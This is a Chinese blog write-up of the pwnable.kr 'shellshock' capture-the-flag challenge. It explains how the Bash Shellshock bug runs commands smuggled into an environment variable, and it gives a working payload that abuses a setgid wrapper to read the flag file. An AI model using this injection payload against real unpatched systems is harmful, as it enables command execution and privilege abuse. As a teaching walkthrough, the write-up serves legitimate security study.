pwnable.kr [shellshock]

本文详细介绍了如何利用Shellshock漏洞在pwnable.kr上获取shell。通过构造特定payload,使Bash执行任意命令,绕过权限限制读取flag。文章深入分析了漏洞原理,并给出了具体的payload构造方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

pwnable.kr [shellshock]

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure ?
ssh shellshock@pwnable.kr -p2222 (pw:guest)

此题使用破壳漏洞。

目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

payload 构造方法

x=' () {:;}; cmd para  ' cmd para

cmd para处的代码会被执行。
但当前用户无读取权限
但是shellshock.c如下

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

同时观察权限
在这里插入图片描述
可以看到shellshock 文件设置了SGID权限,即执行的时候获得文件用户组的权限支持。
此文件将当前的进程的用户改为了用户组,把进程的权限也改为了用户组。这时执行此程序时再设置payload即可
然后将payload改为

x='() { :;}; bash -c "cat flag" ' ./shellshock
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值